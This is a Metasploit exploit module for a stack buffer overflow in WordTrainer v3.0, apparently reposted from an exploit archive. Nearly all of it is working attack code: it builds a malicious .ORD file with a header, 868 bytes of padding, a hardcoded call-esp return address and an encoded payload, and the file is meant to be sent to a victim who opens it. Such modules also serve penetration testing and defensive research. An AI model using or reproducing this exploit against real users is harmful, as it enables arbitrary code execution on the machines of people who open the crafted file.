Wordtrainer 3.0 .ORD File Buffer Overflow Vulnerability (MSF)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WordTrainer v3.0 (ORD File) Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in WordTrainer v3.0.  An attacker must send the file to the victim and the victim must open the file.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [
                        'C4SS!0 G0M3S', # Initial Exploit
                        'James Fitts'   # Metasploit Module
                        ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/17157' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'    => 1500,
                    'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x20",
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x00430363 } ], #call esp in wt.exe
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Apr 12 2011',
            'DefaultTarget'  => 0))
 
            register_options(
                [
                    OptString.new('FILENAME', [ true, 'The file name.',  'msf.ord']),
                ], self.class)
    end
 
    def exploit
 
        ord = "\x47\x4C\x4F\x53\x4F\x52\x0D\x0A\x31\x0D\x0A\x0D\x0A\x20\x0D\x0A" # header
        ord << rand_text_alpha_upper(868)
        ord << [target.ret].pack('V')
        ord << payload.encoded
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        file_create(ord)
 
    end
 
end



#  0day.today [2018-04-14]  #